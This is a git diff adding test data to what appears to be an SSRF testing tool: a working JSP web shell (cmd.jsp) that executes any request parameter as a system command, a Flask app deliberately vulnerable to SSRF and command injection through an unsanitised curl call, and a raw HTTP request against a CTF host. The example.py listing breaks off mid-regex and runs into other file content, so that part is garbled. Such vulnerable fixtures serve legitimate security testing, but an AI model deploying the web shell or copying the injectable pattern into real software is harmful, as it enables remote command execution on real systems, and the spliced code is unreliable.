diff --git a/data/cmd.jsp b/data/cmd.jsp new file mode 100644 index 0000000..a7d2bb7 --- /dev/null +++ b/data/cmd.jsp @@ -0,0 +1,23 @@ +<%@ page import="java.util.*,java.io.*"%> + +
+ + +
+
+<%
+if (request.getParameter("cmd") != null) {
+        out.println("Command: " + request.getParameter("cmd") + "
"); + Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } + } +%> +
+ \ No newline at end of file diff --git a/data/example.py b/data/example.py new file mode 100644 index 0000000..ddacbba --- /dev/null +++ b/data/example.py @@ -0,0 +1,58 @@ +# NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE) +# NOTE: this file should become a simple ssrf example in order to test SSRFmap +# FLASK_APP=example.py flask run + +from flask import Flask, abort, request +import json +import re +import subprocess + +app = Flask(__name__) + +@app.route("/") +def hello(): + return "SSRF Example!" + +# curl -i -X POST -d 'url=http://example.com' http://localhost:5000/ssrf +@app.route("/ssrf", methods=['POST']) +def ssrf(): + data = request.values + content = command(f"curl {data.get('url')}") + return content + +# curl -i -H "Content-Type: application/json" -X POST -d '{"url": "http://example.com"}' http://localhost:5000/ssrf2 +@app.route("/ssrf2", methods=['POST']) +def ssrf2(): + data = request.json + print(data) + print(data.get('url')) + content = command(f"curl {data.get('url')}") + return content + +# curl -v "http://127.0.0.1:5000/ssrf3?url=http://example.com" +@app.route("/ssrf3", methods=['GET']) +def ssrf3(): + data = request.values + content = command(f"curl {data.get('url')}") + return content + +# curl -X POST -H "Content-Type: application/xml" -d '4142430A0http://google.com' http://127.0.0.1:5000/ssrf4 +@app.route("/ssrf4", methods=['POST']) +def ssrf4(): + data = request.data + print(data.decode()) + regex = re.compile("url>(.*?)4142430A0*FUZZ* \ No newline at end of file diff --git a/data/request5.txt b/data/request5.txt new file mode 100644 index 0000000..6c5fe98 --- /dev/null +++ b/data/request5.txt @@ -0,0 +1,16 @@ +POST /index.php HTTP/1.1 +Host: ctf.hacklab-esgi.org:8082 +Content-Length: 5 +Cache-Control: max-age=0 +Origin: http://ctf.hacklab-esgi.org:8082 +Upgrade-Insecure-Requests: 1 +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36 OPR/60.0.3255.15 (Edition beta) +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 +Referer: http://ctf.hacklab-esgi.org:8082/ +Accept-Encoding: gzip, deflate +Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 +Cookie: session=718ec500-02c9-433e-ac3d-ece753ee1169 +Connection: close + +url=FUZZME \ No newline at end of file